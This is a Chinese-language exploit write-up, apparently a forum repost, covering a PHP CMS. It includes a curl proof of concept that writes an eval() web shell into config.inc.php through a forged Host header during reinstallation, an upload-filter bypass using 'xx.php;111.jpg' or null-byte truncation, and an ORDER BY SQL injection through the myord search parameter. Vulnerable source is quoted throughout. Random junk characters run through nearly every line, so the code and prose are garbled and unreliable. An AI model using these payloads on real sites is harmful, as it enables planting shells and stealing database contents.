注入:0 m+ n6 \9 S: H; `
; A1 J- w, c! a; A之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
4 J: e' a: d. L8 e- ~
% `5 f& ^7 R& `! c" q鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ M1 @0 `1 `! l4 I" e/ F$ {
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
/ e$ E3 |7 R! y: [
$ |# w5 J9 x; v' e' [虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响7 ~3 v. s# E* R# E* F
( z( W- [- h c& R分析:
) B4 P6 N; G; F j3 k" I0 K
9 [8 o* L$ Y) u5 n8 \
b9 B. _2 V, j( y8 h0 \$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤! Q; t! u8 p9 }$ f- V
3 }, N e; q* Z. j) @( Y $filestr = fread(fopen($SysConfigFile, 'r'),30000);
( l6 s! _* e @2 H+ n $filestr=str_replace(" ","",$filestr);
9 f2 m7 C! ]! m" P) K $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);4 r" v. H* O- w8 V2 }" s: S1 X6 l0 _2 i
$filestr=str_replace("DefaultDbName",$dbname,$filestr);2 ?8 U; O- R( x- t; G6 W+ @( q+ u
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);, P" g! \* p, t) W, s
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' b. {1 @7 T- q4 E$ p2 i; E $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
4 ~' Y& z3 a' E* Z! _+ ^, r $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);. h1 y9 V, f3 H$ j
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
7 o; K& S$ Y# s1 [" g 9 o) R$ X7 ?+ z7 i" J
fwrite(fopen($ConFile,"w"),$filestr,30000);
/ C$ c, }' e! l' M: ~* @0 k, Z$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
# u3 o3 a1 Q8 r+ w. s' D) i $ ^7 ]/ A0 ]2 _9 u- M
poc:6 O' p9 @6 ]& @: q# {( K9 k
5 T) Q" v6 M# k) K6 ?* Y6 `?0 [4 Q1 Q" ^9 Z7 H0 A y
1' i; d7 o# ^# {7 |
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"- p" L) f- D, e8 \. k
shell地址: /config.inc.php( o c2 j) s, @% m/ V
跟之前的 phpcms一样 需要远程数据库
: M$ A4 I5 X: G; K2 j, b1 } % e6 f% X: B" k
——————————————————–
1 ]5 e+ F G, p上传漏洞(需要进后台):' [% Q/ e: z( |7 Z1 A7 ~/ N
漏洞文件: /kedit/upload_cgi/upload.php" o% w! i6 D5 _* e7 t
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 G3 q/ k9 E! U: y
7 d. I# H' y! u+ p/ o6 }9 [
3 [1 \* {; Z2 a! u/ m" |
<?php3 J, b8 h" }) {' }8 x+ e ^
define("ROOTPATH", "../../");
5 O1 ?$ B" x5 \/ q include(ROOTPATH."includes/admin.inc.php");
$ e& o4 G; m! [+ k# {9 } NeedAuth(0);
5 P# |$ D4 n _: }4 L : ]9 A1 K6 {1 P0 G y( s! _
$dt=date("Ymd",time());4 U0 H/ C, f* H8 ?
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){; p7 ~" ~0 x, l8 V) Z
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
" D0 W- l! G; C# Y8 _1 s }
2 x1 ~1 p- {/ v [1 I7 W( R+ z) N
+ {) q8 D0 y: d //文件保存目录路径
3 R; i2 w! ~5 r3 `+ N $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- i& J: k# s! I1 _) u) }6 c echo $save_path;
. G$ c4 `0 A$ F //文件保存目录URL
2 Z. d2 t! }" D9 }% h& u $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 I' O6 {% n; C5 R" |
) I) R1 _: Y" C$ B8 [
//定义允许上传的文件扩展名, v7 {$ W } m9 D
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ `" _# {$ N7 w) A& ]
n" p# S( D8 i, b6 F. D) T
//最大文件大小
$ L4 A( ]0 E# ]3 _0 y1 E( v) H3 j $max_size = 1000000;
: B- ?( K# C5 z( y. M* J8 a
- Y* H" s) M8 `- B //更改目录权限
+ K9 f$ q! l a( b) r! @3 Y @mkdir($save_path, 0777);2 I' q) c/ _: a% Q& `
4 v4 y1 z# q! ?
//文件的全部路径; V, j3 D1 L* W" Q$ _; z: t3 r
$file_path = $save_path.$_POST['fileName']; //保存文件名
% d7 M( Z4 x/ I* a: z ) L; {5 v( U: [; ~8 A4 L% e4 z$ W
//文件URL
3 h; f3 K; t1 S' A- r3 S, k $file_url = $save_url.$_POST['fileName'];
7 Z. z+ ~" U+ S$ V//有上传文件时9 W7 E3 [0 p- P6 @. @* R$ L
if (empty($_FILES) === false) {5 Y$ G& b3 h- r" f' u1 l0 ~
8 T, |# {; [/ R" @) v //原文件名8 e( b" X3 ?$ g* F
$file_name = $_FILES['fileData']['name'];) Y4 z3 v! P5 ]: E0 U
//服务器上临时文件名
* M1 Y8 G4 f% y2 | $tmp_name = $_FILES['fileData']['tmp_name'];; e. L8 N- ~& _* d3 b
//文件大小
, ]: y) c# G, o7 l/ X $file_size = $_FILES['fileData']['size'];
& d5 T8 Y, z, ~7 p* |3 h //检查目录
l& G$ w" n6 P5 t if (@is_dir($save_path) === false) {
6 z/ o: C2 K0 Z% h7 U alert("上传目录不存在。");
7 a/ }4 s k" y$ b6 R4 g5 K' H }: z0 t, V F0 j
//检查目录写权限
! ~$ ?- n0 J( A I' G if (@is_writable($save_path) === false) {4 E) D2 m) i. r0 ]) M
alert("上传目录没有写权限。");
/ C; W0 h( d. R+ l5 \3 f }+ N2 r; w4 X" \" L! l, h: p9 A% v
//检查是否已上传
- J9 c' J" R2 i L5 @ if (@is_uploaded_file($tmp_name) === false) {7 h0 r1 f4 U; |; K, O$ N
alert("临时文件可能不是上传文件。");1 Q; U' P4 p* {; g6 W/ r2 ~$ A
}
* r/ [4 E @8 Z. @ //检查文件大小5 k2 x+ m( b0 G. g0 c. x
if ($file_size > $max_size) {) n& N# t4 p' ^: f7 l
alert("上传文件大小超过限制。");
+ K. w/ c) f0 x! y) R( _8 \( r }
. X0 L, b* T8 I& |# @5 q //获得文件扩展名
) x+ S, g7 H2 d3 M3 p2 \* J- X $temp_arr = explode(".", $_POST['fileName']);
$ ?7 u8 p& F; z5 e $file_ext = array_pop($temp_arr);
9 j7 l1 p1 K/ s, H. P $file_ext = trim($file_ext);
% w4 k- I4 z3 Q @6 g $file_ext = strtolower($file_ext);
: R" W2 O0 l$ y* Q5 c5 I/ z9 S0 b' ] ! P) n$ D5 W$ V _8 ?$ l- N
//检查扩展名 $ Y2 B1 M$ o+ G4 T/ i- j4 N$ }
if (in_array($file_ext, $ext_arr) === false) { & ?; n9 B0 q* p, c& E9 [% t z
alert("上传文件扩展名是不允许的扩展名。");4 V4 a) Z [ M8 Y9 x, ~
}
: w. w: G; B2 D: V, A: U
1 H1 f$ e, i5 a5 ~; ]+ X+ R //移动文件
! W# P. B& U5 L; N- I6 _ //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
' P5 U# W: Y% j if (move_uploaded_file($tmp_name, $file_path) === false) {7 B7 W6 e2 G8 [. q2 e2 R% w% i
alert("上传文件失败。");$ c2 A! D) u9 X3 v! D
}- ^- g4 ] c% n0 u3 ~
# p C6 T* ]( X/ f9 y8 Z @chmod($file_path,0666);) r5 H: u3 a) ]& x
+ X& o2 k) p5 i
?>
7 I9 ~0 H& `- o! f5 D5 i抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
) b2 i W' e K4 S5 g2 x, j/ [! ^# F & p! H# P1 W6 I/ b" r! ^; a
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过# A- K, q' l+ _! y4 V& s/ L
) M0 F3 B7 `! [7 E* ]) {8 A——————————————————/ u) ]2 }, H4 v/ u" z3 H' ?
注入漏洞:
3 h% ^1 a1 z, S& C* x/ H漏洞文件:search/module/search.php4 m/ \8 v; f6 n9 v" S
/search/index.php?key=1&myord=1 [sqlinjection]
; I! O5 `8 `' ?- f% e, f f0 K
0 \ w, o7 x- J; L! k1 H! L 4 D+ Z# O; W/ n$ f) C- H
<?php) W- u5 _8 N, O$ K
// ... 省略 n 行...8 R# B( t: D- t( g M7 v4 q A: O
//第18行:
* e; X, F% s$ \+ f8 q; X6 y2 Z $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响2 E& [; `2 c8 Z. p, m( J
$page=htmlspecialchars($_GET["page"]);, q4 k; h, k. L" \ v7 B
$myord=htmlspecialchars($_GET["myord"]);
" r% u: j0 p/ d1 e/ t6 O
! l& a4 m+ [! C" |, T // ... 省略 n 行...: x2 A5 q0 M9 H1 B+ X
$key,$myord 两个参数带入查询
8 H, M) p: R: G //第47行 $key:
/ a$ B! l, l4 ^% H0 N5 r * W) K% ]$ C: u5 S
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ b! D, q( ?, b: }
$ Z. ?% n2 v* f7 f; Z9 P( r2 c0 A. { //第197行 $myord
1 l$ u0 ^5 c. h9 s3 @1 `' z* A $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
5 S- t" A0 ?: N; `
0 J Q. z. T8 J2 d3 G1 `% `! Z- w# { ?>& I& [1 a% w1 R2 L
|